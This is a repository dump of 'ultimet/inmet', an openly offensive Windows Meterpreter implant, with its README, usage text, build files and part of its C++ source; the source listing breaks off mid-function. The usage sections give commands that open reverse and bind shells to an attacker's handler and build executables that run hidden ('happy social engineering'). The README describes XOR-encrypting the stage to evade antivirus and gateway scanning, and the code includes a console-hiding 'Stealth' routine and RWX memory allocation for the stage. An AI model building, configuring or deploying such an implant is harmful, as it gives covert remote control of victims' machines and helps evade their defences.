├── .gitattributes ├── .gitignore ├── README.md ├── ResourceEncrypter ├── ResourceEncrypter.vcxproj ├── ResourceEncrypter.vcxproj.filters ├── encrypted.xor ├── key.txt └── main.cpp ├── USAGE.txt ├── encrypted.rsc ├── inmet.sln ├── inmet ├── Constants.h ├── HTTP_Functions.cpp ├── ResourceFunctions.cpp ├── XOR_Functions.cpp ├── encrypted.rsc ├── functions.cpp ├── inmet.rc ├── inmet.vcxproj ├── inmet.vcxproj.filters ├── main.cpp ├── main.h ├── options.txt ├── resource.h └── winsock_functions.cpp ├── metsrv.dll └── ultimet.zip /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | [Dd]ebug/ 46 | [Rr]elease/ 47 | *_i.c 48 | *_p.c 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.vspscc 63 | .builds 64 | *.dotCover 65 | 66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this 67 | #packages/ 68 | 69 | # Visual C++ cache files 70 | ipch/ 71 | *.aps 72 | *.ncb 73 | *.opensdf 74 | *.sdf 75 | 76 | # Visual Studio profiler 77 | *.psess 78 | *.vsp 79 | 80 | # ReSharper is a .NET coding add-in 81 | _ReSharper* 82 | 83 | # Installshield output folder 84 | [Ee]xpress 85 | 86 | # DocProject is a documentation generator add-in 87 | DocProject/buildhelp/ 88 | DocProject/Help/*.HxT 89 | DocProject/Help/*.HxC 90 | DocProject/Help/*.hhc 91 | DocProject/Help/*.hhk 92 | DocProject/Help/*.hhp 93 | DocProject/Help/Html2 94 | DocProject/Help/html 95 | 96 | # Click-Once directory 97 | publish 98 | 99 | # Others 100 | [Bb]in 101 | [Oo]bj 102 | sql 103 | TestResults 104 | *.Cache 105 | ClientBin 106 | stylecop.* 107 | ~$* 108 | *.dbmdl 109 | Generated_Code #added for RIA/Silverlight projects 110 | 111 | # Backup & report files from converting an old project file to a newer 112 | # Visual Studio version. Backup files are not needed, because we have git ;-) 113 | _UpgradeReport_Files/ 114 | Backup*/ 115 | UpgradeLog*.XML 116 | 117 | 118 | 119 | ############ 120 | ## Windows 121 | ############ 122 | 123 | # Windows image file caches 124 | Thumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | 130 | ############# 131 | ## Python 132 | ############# 133 | 134 | *.py[co] 135 | 136 | # Packages 137 | *.egg 138 | *.egg-info 139 | dist 140 | build 141 | eggs 142 | parts 143 | bin 144 | var 145 | sdist 146 | develop-eggs 147 | .installed.cfg 148 | 149 | # Installer logs 150 | pip-log.txt 151 | 152 | # Unit test / coverage reports 153 | .coverage 154 | .tox 155 | 156 | #Translations 157 | *.mo 158 | 159 | #Mr Developer 160 | .mr.developer.cfg 161 | 162 | # Mac crap 163 | .DS_Store 164 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ================================================ 2 | [ultimet] - The ultimate meterpreter executable. 3 | ================================================ 4 | ...your one stop shop for all your 5 | meterpreter executable needs... 6 | 7 | Usage, examples and faq http://eldeeb.net/wrdprs/?p=176 8 | 9 | #0. Executive Summary :)# 10 | ultimet: 11 | - Is a windows executable that can function as various meterpreter flavours, in addition to functioning as "msfpayload" to generate exe files that run hidden when executed. 12 | - Supports functioning as the following meterpreter "types": "reverse_tcp", "bind_tcp", "reverse_http", "reverse_https", "metsvc_bind_tcp" and "metsvcreverse_tcp" 13 | - Can create exe files that connects upon execution using pre-configured settings "exactly as msfpayload generated exe", however, generated exe files still accept command line arguments and settings could be reset or changed, all supported from within that single exe ... "meterpreter-on-steroids :)". 14 | - The generated exe is a pre-configured ultimet that can be used to create OTHER exe files! so, let's say you created a reverse_tcp exe using the `--msfpayload` option, you can use THAT exe later to create another bind_metsvc, then use THAT exe to create a reverse_http ... and so on, or simply reset to default...pretty neat! 15 | _ultimet is a program that once found its way to inside a windows environmet, you won't need msfpayload or msfvenom anymore to create different exe files for different settings, use the same exe for different situations_ 16 | - The msfpayload-like functionality works under linux perfectly fine using "wine >= 1.3.17", no need to leave your beloved *n?x box to create a pre-configured exe. 17 | - Supports many options to load the stage from: Resource, Encrypted-Resource, file, encrypted file or over the network "stager-mode" ... it functions as a non-staged payload "inline" when the stage is provided "either through file or the default bundled-resource". 18 | - Offset of ReflectiveLoader function is calculated at runtime and bootstrap is patched in memory, so, in plain english, you can use your own self-compiled metsrv.dll as the stage!. 19 | 20 | 21 | _Working as payload:_ 22 | 23 | Example#1: Connect back to a meterpreter/reverse_tcp handler, LPORT=4444, LHOST=192.168.59.132 24 | 25 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444` 26 | 27 | Example#2: Start listening "bind" on all interfaces waiting for a meterpreter/bind_tcp handler to connect, LPORT=8888 28 | 29 | `ultimet.exe -t bind_tcp -h 0.0.0.0 -p 8888` 30 | 31 | Example#3: Load stage from local file, connect back to a meterpreter/reverse_http handler, LPORT=8080, LHOST=192.168.59.132 32 | 33 | `ultimet.exe -f c:\wwwroot\uploads\metsrv.dll -t reverse_http -h 192.168.59.132 -p 8080` 34 | 35 | _Working as msfpayload:_ 36 | 37 | Example#1: msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.59.132 38 | 39 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444 --msfpayload` 40 | 41 | Example#2: Reset exe to default and remove all pre-set connection settings 42 | 43 | `ultimet.exe --reset` 44 | 45 | Example#3: Remove bundled stage to create a smaller file 46 | 47 | `ultimet.exe --remove-stage` 48 | 49 | 50 | --------------- 51 | 1. Introduction 52 | --------------- 53 | - Stand-alone meterpreter executables that are created using (msfpayload/msfvenom) are not flexible in selecting the LHOST, LPORT or even the transport after being created ... i.e. once you create the exe, you cannot change any of the settings you specified during the creation of the executable. 54 | 55 | - Meterpreter by design is a "staged" payload, it consists of a "stager" and a "stage"; when msfpayload|msfvenom create an exe, that's the "stager" part of meterpreter, which has only one purpose: When executed, connect back to the exploit/multi/handler, make room for the stager, copy the "stage" from handler, then execute the "stage" ... that "stage" is nothing but a patched version of "metsrv.dll" that you find in metasploit directory ... this scenario presents a challenge in highly secure environments(!) where incoming files from the internet are checked for viruses `:)` ... example: someone created a meterpreter/reverse_http exe using msfvenom, then he manages to bypass AV somehow and successfully executed this exe on one machine inside the target environment, if there's some kind of virus checking of downloaded files at the gateway/proxy level ... the "stage" gets flagged, not downloaded, not executed, and you're doomed. 56 | 57 | ------------------- 58 | 2. What is ultimet? 59 | ------------------- 60 | - read the executive summary ... 61 | 62 | ------------------------------------------------ 63 | 3. What are the supported transports (payloads)? 64 | ------------------------------------------------ 65 | - It supports "reverse_tcp", "bind_tcp", "reverse_http", "reverse_https" and "bind_metsvc & reverse_metsvc <- when stage included". 66 | 67 | --------------------------------------- 68 | 4. How exactly is the stage "included"? 69 | --------------------------------------- 70 | - The "stage" can be loaded using any of the following options: 71 | - From a resource, or an encrypted resource that is included in the exe itself. 72 | - From a file (metsrv.dll), or an encrypted file. 73 | - ... if stage is not available, stage gets loaded over the network, which is basically falling back into "stager-mode". 74 | 75 | ------------------ 76 | 5. inmet & ultimet 77 | ------------------ 78 | The zip file contains two exe, inmet & ultimet: 79 | - inmet is (ultimet + stage as a resource) that is the (exe) that has the (stage as a resource). 80 | - ultimet is (inmet - stage as resource) that is JUST THE EXE. 81 | - so, if you used any PE resource editor to crack open inmet.exe, you'll find a resource called "BINARY" and ID "101", if you deleted that resource, it will still work, but as a stager only. 82 | - ... if you took that "stripped-down" exe again, opened it, and imported metsrv.dll (or the encrypted version of it) into that exe, called the resource "BINARY" and set the ID to "101" ... it will become an inline exe again. 83 | - inmet and ultimet are SAME EXECUTABLE that detects when it's just a mere stager, or the inline version of the executable. 84 | - Got it? ... if not just download both and try to figure out the difference on your own ... 85 | 86 | --------------- 87 | 6. Encryption?! 88 | --------------- 89 | - ultimet will load metsrv.dll if it is plain (the one in your computer) or encrypted using the following scheme: 90 | - XOR every byte % a random 16-bytes key (position = i % 16; metsrv[i] ^= key[position]) 91 | - PREPEND the whole encrypted metsrv.dll with the 16 bytes random key :) 92 | - FIPS compliant, strong and unbreakable encryption, I know, thank you ... but it gets the job done pretty well "AV sig change". 93 | - A tool is included that does this automatically (ultimet_xor.exe) ... just drag metsrv.dll over it and you'll get a file called "encrypted.rsc" ... import that into ultimet.exe, they'll know how to play nice with each other. 94 | 95 | --------------- 96 | 7. Known issues 97 | --------------- 98 | - Currently the ReflectiveDLL bootstrap has the RVA_to_file offset of the ReflectiveLoader hardcoded, so, you cannot use your own metsrv.dll if that offset is different without changing the offset in "constants.h" ... working on it. 99 | - If your linker complained about not finding "encrypted.rsc" ... open "inmet.rc" using a text editor, and hard code the path there "or just put it on the root of your "e:\" drive ... to lazy to fix that and VS can be a **** sometimes. 100 | 101 | ---------------- 102 | 8. Bug reporting 103 | ---------------- 104 | - Github 105 | - ultimet@eldeeb.net 106 | 107 | --------- 108 | 9. Author 109 | --------- 110 | - Sherif Eldeeb 111 | - http://eldeeb.net 112 | - @SheriefEldeeb 113 | - archeldeeb@gmail.com 114 | Made in Egypt. 115 | 116 | ... P.S: I am not a developer ;) 117 | 118 | ------------------- 119 | 10. Contributors: 120 | ------------------- 121 | - Anwar Mohamed "@anwarelmakrahy" 122 | Added support for metsvc_bind_tcp & bind_tcp. 123 | Added support for run-time parsing for ReflectiveLoader function RVA & locate file offset. 124 | 125 | ------------------- 126 | 11. Acknowledgments 127 | ------------------- 128 | - All the extremely helpful people at #metasploit, and the mailing list: 129 | hdm, corelanc0d3r, mihi, egypt, kernelsmith, tillo. 130 | - Stephen Fewer for helping with ReflectiveDll stuff. 131 | - @lnxg33k, @anwarelmakrahy & Yehia Mamdouh: for testing and bug reporting. 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /ResourceEncrypter/ResourceEncrypter.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {39270343-D518-4A31-8AB8-C8DEBBF8E285} 15 | Win32Proj 16 | ResourceEncrypter 17 | ultimet_xor 18 | 19 | 20 | 21 | Application 22 | true 23 | v120_xp 24 | Unicode 25 | 26 | 27 | Application 28 | false 29 | v120_xp 30 | true 31 | Unicode 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | true 45 | 46 | 47 | false 48 | 49 | 50 | 51 | 52 | 53 | Level3 54 | Disabled 55 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 56 | true 57 | 58 | 59 | Console 60 | true 61 | 62 | 63 | true 64 | 65 | 66 | 67 | 68 | Level3 69 | 70 | 71 | MaxSpeed 72 | true 73 | true 74 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 75 | MultiThreaded 76 | 77 | 78 | Console 79 | true 80 | true 81 | true 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /ResourceEncrypter/ResourceEncrypter.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /ResourceEncrypter/encrypted.xor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ResourceEncrypter/encrypted.xor -------------------------------------------------------------------------------- /ResourceEncrypter/key.txt: -------------------------------------------------------------------------------- 1 | obGGQLtCerhMXmGy -------------------------------------------------------------------------------- /ResourceEncrypter/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ResourceEncrypter/main.cpp -------------------------------------------------------------------------------- /USAGE.txt: -------------------------------------------------------------------------------- 1 | _Working as payload:_ 2 | Example#1: Connect back to a meterpreter/reverse_tcp handler, LPORT=4444, LHOST=192.168.59.132 3 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444` 4 | 5 | Example#2: Start listening "bind" on all interfaces waiting for a meterpreter/bind_tcp handler to connect, LPORT=8888 6 | `ultimet.exe -t bind_tcp -h 0.0.0.0 -p 8888` 7 | 8 | Example#3: Load stage from local file, connect back to a meterpreter/reverse_http handler, LPORT=8080, LHOST=192.168.59.132 9 | `ultimet.exe -f c:\wwwroot\uploads\metsrv.dll -t reverse_http -h 192.168.59.132 -p 8080` 10 | 11 | _Working as msfpayload:_ 12 | Example#1: msfpayload windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.59.132 13 | `ultimet.exe -t reverse_tcp -h 192.168.59.132 -p 4444 --msfpayload` 14 | 15 | Example#2: Reset exe to default and remove all pre-set connection settings 16 | `ultimet.exe --reset` 17 | 18 | Example#3: Remove bundled stage to create a smaller file 19 | `ultimet.exe --remove-stage` 20 | 21 | Example: 22 | c:\>ultimet.exe -t reverse_http -h 192.168.59.132 -p 8080 --msfpayload 23 | **************************************************** 24 | [+] [ultimet] - The Ultimate Meterpreter Executable 25 | [+] v0.25.1 - Revolution 26 | **************************************************** 27 | - http://eldeeb.net - @SheriefEldeeb 28 | 29 | [*] Switching to MSFPAYLOAD mode, parsing options ... 30 | TRANSPORT : REVERSE_HTTP 31 | LHOST : 192.168.59.132 32 | LPORT : 8080 33 | [*] Success! REVERSE_HTTP-192.168.59.132-8080.exe created, happy social engineering... 34 | 35 | ============== 36 | - this will create a new exe "reverse_http-192.168.59.132-8080.exe" that when executed, will run hidden, and requires no command line options. 37 | 38 | - You can remove the options and revert a pre-configured exe to a regular ultimet using the option `--reset` 39 | 40 | ============== 41 | Example: 42 | c:\>reverse_http-192.168.59.132-8080.exe --reset 43 | 44 | **************************************************** 45 | [+] [ultimet] - The Ultimate Meterpreter Executable 46 | [+] v0.25.1 - Revolution 47 | **************************************************** 48 | - http://eldeeb.net - @SheriefEldeeb 49 | 50 | [*] Creating a `clean` ultimet copy with all options reset to default ... 51 | [*] Success! use `ultimet_reset.exe` for a fresh start... 52 | 53 | ==================================================== 54 | c:>ultimet --help 55 | 56 | **************************************************** 57 | [+] [ultimet] - The Ultimate Meterpreter Executable 58 | [+] v0.25.1 - Revolution 59 | **************************************************** 60 | - http://eldeeb.net - @SheriefEldeeb 61 | 62 | Usage: 63 | utlimet.exe -h -p -t [-f FILENAME] [--msfpayload] 64 | [--remove-stage] [--reset] 65 | 66 | Connection settings: 67 | -h LHOST IP or a hostname. 68 | -p LPORT Port number." 69 | -t TRANSPORT "reverse_tcp", "reverse_metsvc", "reverse_http", 70 | "reverse_https","bind_tcp" or "bind_metsvc" 71 | 72 | HTTP(S) Specific settings `optional`: 73 | -ua U_AGENT User-Agent, enclose in `""` if contains spaces. 74 | -et SECONDS Session expiration timeout in seconds. 75 | -ct SECONDS Communication expiration timeout in seconds. 76 | 77 | MSFPAYLOAD-like functionality: 78 | --msfpayload When this is specified along with the connection 79 | parameters, new exe will be created with the following 80 | naming convention:TRANSPORT-LHOST-LPORT.exe, 81 | this newly created exe will execute silently according 82 | to the predefined settings. 83 | ... it's gonna be just like the exe files you get out 84 | of msfpayload ... on steroids :) 85 | --reset A new exe will be created `ultimet_reset.exe` with 86 | pre-defined settings cleared `undo -> --msfpayload`. 87 | 88 | Stage options: 89 | -f FILE Forces loading the stage from a file. 90 | Note: The file can be a regular metsrv.dll, 91 | or an encrypted one using the ultimet_xor.exe utility. 92 | --remove-stage Creates a new exe `ultimet_no_stage.exe` with stage 93 | resource removed, it will resut in smaller file, but 94 | metsvc family of payloads won't be available. 95 | To re-attach the resource ... use a resource editor. 96 | 97 | General notes: 98 | - If you find the console window disappears immediatly when you run ultimet, 99 | this means it found valid connection settings built-in, to get rid of this 100 | behaviour, `ultimet.exe --reset` will create a pristine `ultimet_reset.exe`. 101 | - The exe file created with `--msfpayload` option is a fully functional 102 | ultimet.exe, it will run hidden and doesn't require connection parameters 103 | to be specified since they're preconfigured, to reset that exe to its norm, 104 | just specify `--reset` and a fresh exe will be created with default settings 105 | - If you're on a shell [not a console], you have to start the program using: 106 | "start /b ultimet.exe ..." or you'll lose your shell. 107 | - For the reverse_metsvc & bind_metsvc options, stage has to be available 108 | upfront, either through the bundled resource or loaded usng the "-f" option 109 | - The most reliable handler for reverse_metsvc is: 110 | "windows/metsvc_reverse_tcp" ... using reverse_metsvc to connect to a 111 | "reverse_tcp" *might* work, but not always, so, use reverse_metsvc with 112 | windows/metsvc_reverse_tcp ... same applies to bind_metsv. 113 | 114 | Advanced notes: 115 | - ultimet utilizes resources to include the stage, and to store connection 116 | settings internally. 117 | - The stage `metsvc.dll` is stored in a resource `BINARY` and ID `101`, 118 | stage can be the plain metsvc.dll file or encrypted using ultimet_xor.exe 119 | utility. 120 | - Options are stored in a resource `BINARY` and ID `103` using the following 121 | convention: `|UM|TRANSPORT|LHOST|LPORT|` <- leave "|UM|" as it is since 122 | it's used inernally, and change connection settings as you like. 123 | - You can use your favourite resource editor to create/edit those resources as 124 | you please. 125 | 126 | Contributors: 127 | - Anwar Mohamed "@anwarelmakrahy" 128 | . Added support for metsvc_bind_tcp & bind_tcp. 129 | . Added support for run-time parsing and patching of ReflectiveLoader 130 | Bootstrap. 131 | -------------------------------------------------------------------------------- /encrypted.rsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/encrypted.rsc -------------------------------------------------------------------------------- /inmet.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual C++ Express 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ultimet", "inmet\inmet.vcxproj", "{802281E0-D560-4A28-AB88-CF8B95ED9E3E}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ultimet_xor", "ResourceEncrypter\ResourceEncrypter.vcxproj", "{39270343-D518-4A31-8AB8-C8DEBBF8E285}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Release|Win32 = Release|Win32 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Debug|Win32.Build.0 = Debug|Win32 16 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Release|Win32.ActiveCfg = Release|Win32 17 | {802281E0-D560-4A28-AB88-CF8B95ED9E3E}.Release|Win32.Build.0 = Release|Win32 18 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Debug|Win32.ActiveCfg = Debug|Win32 19 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Debug|Win32.Build.0 = Debug|Win32 20 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Release|Win32.ActiveCfg = Release|Win32 21 | {39270343-D518-4A31-8AB8-C8DEBBF8E285}.Release|Win32.Build.0 = Release|Win32 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /inmet/Constants.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | const char global_meterpreter_transport[] = "METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 3 | const char global_meterpreter_url[] = "https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00"; 4 | const char global_meterpreter_ua[] = "METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 5 | const int global_expiration_timeout = 0xb64be661; //big 6 | const int global_comm_timeout = 0xaf79257f; // 300 7 | 8 | 9 | ///"msf3/lib/msf/core/handler/reverse_http.rb" 10 | const int URI_CHECKSUM_INITW = 92; 11 | const int URI_CHECKSUM_INITJ = 88; 12 | const int URI_CHECKSUM_CONN = 98; 13 | -------------------------------------------------------------------------------- /inmet/HTTP_Functions.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/HTTP_Functions.cpp -------------------------------------------------------------------------------- /inmet/ResourceFunctions.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/ResourceFunctions.cpp -------------------------------------------------------------------------------- /inmet/XOR_Functions.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/XOR_Functions.cpp -------------------------------------------------------------------------------- /inmet/encrypted.rsc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/encrypted.rsc -------------------------------------------------------------------------------- /inmet/functions.cpp: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | DWORD err = 0; 3 | 4 | void Stealth() 5 | { 6 | HWND stealth; 7 | AllocConsole(); 8 | stealth = FindWindow(L"ConsoleWindowClass", NULL); 9 | ShowWindow(stealth,0); 10 | } 11 | 12 | BOOL IsThisAValidTransport(wchar_t *transport) 13 | { 14 | _wcsupr(transport); 15 | if( 16 | (wcscmp(transport,L"REVERSE_TCP") == 0) || 17 | (wcscmp(transport,L"BIND_TCP") == 0) || 18 | (wcscmp(transport,L"REVERSE_HTTP") == 0) || 19 | (wcscmp(transport,L"REVERSE_HTTPS") == 0) || 20 | (wcscmp(transport,L"REVERSE_METSVC") == 0) || 21 | (wcscmp(transport,L"BIND_METSVC") == 0) 22 | ) return true; 23 | return false; 24 | } 25 | 26 | 27 | LONGLONG SizeFromName(LPCWSTR szFileName) // Returns a file's size from its filename, returns a LONGLONG, in case you have a LARGE LARGE file :) 28 | { 29 | LARGE_INTEGER fileSize = {0}; 30 | HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); //Get a handle on the file 31 | 32 | if (hfile==INVALID_HANDLE_VALUE) //if something went wrong ... 33 | { 34 | err = GetLastError(); 35 | dprintf(L"[-] Invalid file handle! CreateFile() returned : %08x\n", err); 36 | CloseHandle(hfile); 37 | exit(1); 38 | } 39 | 40 | if(!GetFileSizeEx(hfile,&fileSize)) // Get the size from the file handle 41 | { 42 | err = GetLastError(); 43 | dprintf(L"[-] Error getting file size! GetFileSizeEx() returned : %08x\n", err); 44 | CloseHandle(hfile); 45 | exit(1); 46 | } 47 | 48 | CloseHandle(hfile); // this will ALWAYS throw an exception if run under a debugger, but good higene if run under "production" 49 | return fileSize.QuadPart; //LARGE_INTEGER is a sruct, QuadPart is the filesize in a 64bit digit... which should cover all file sizes "That's for files >4GB" 50 | } 51 | 52 | DWORD CopyStageToBuffer(LPCWSTR szFileName, unsigned char** buffer) 53 | { 54 | // get file size... 55 | DWORD size = 0; 56 | size = (DWORD)SizeFromName(szFileName); 57 | if (size == -1) 58 | { 59 | dprintf(L"[-] Something went wrong getting size of file: \"%s\".\n", szFileName); 60 | exit(1); 61 | } 62 | else { 63 | dprintf(L"[*] Size of \"%s\" is \"%d\" bytes.\n", szFileName, size); 64 | } 65 | 66 | // Allocate memory ... 67 | dprintf(L"[*] Trying to VirtualAlloc \"%d\" bytes of data\n", size); 68 | *buffer = (unsigned char*)VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 69 | if (buffer == NULL) 70 | { 71 | err = GetLastError(); 72 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", err); 73 | return -1; 74 | } 75 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", size); 76 | 77 | // Reading file content into buffer. 78 | //... first we get a handle on the file 79 | HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 80 | if (hfile==INVALID_HANDLE_VALUE) //if something went wrong ... 81 | { 82 | err = GetLastError(); 83 | dprintf(L"[-] Invalid file handle! CreateFile() returned : %08x\n", err); 84 | CloseHandle(hfile); 85 | exit(1); 86 | } 87 | 88 | dprintf(L"[*] Copying file \"%s\" to buffer...\n", szFileName); 89 | if( FALSE == ReadFile(hfile, *buffer, (DWORD)size, NULL, NULL) ) 90 | { 91 | printf("[-] Unable to read from file.\n"); 92 | CloseHandle(hfile); 93 | exit(1); 94 | } 95 | // We add 5 bytes to leave room for 0xBF+SOCKET_NUMBER 96 | return (DWORD)size; 97 | } 98 | 99 | int PatchString(unsigned char* buffer, const wchar_t* replacement, const int index, const int NoOfBytes) 100 | { 101 | int counter = 0; 102 | for(int i = index; i < (index + NoOfBytes); i++) 103 | { 104 | buffer[i] = (u_char)replacement[counter]; 105 | counter++; 106 | } 107 | return 0; 108 | } 109 | 110 | DWORD binstrstr(unsigned char * buff1, int lenbuff1, unsigned char * buff2, int lenbuff2) // shamelessly ripped from http://forums.devshed.com/c-programming-42/binary-strstr-395935.html , thanks "AlejandroVarela" 111 | { 112 | if (! buff1) return FALSE; 113 | if (! buff2) return FALSE; 114 | if (lenbuff1 == 0) return FALSE; 115 | if (lenbuff2 == 0) return FALSE; 116 | if (lenbuff1 < lenbuff2) return FALSE; 117 | 118 | for (int i = 0; i <= (lenbuff1 - lenbuff2); ++ i) 119 | { 120 | if (memcmp(buff1 + i, buff2, lenbuff2) == 0) 121 | { 122 | return i; 123 | } 124 | } 125 | 126 | return FALSE; 127 | } 128 | 129 | bool AnsiToUnicode(const char* 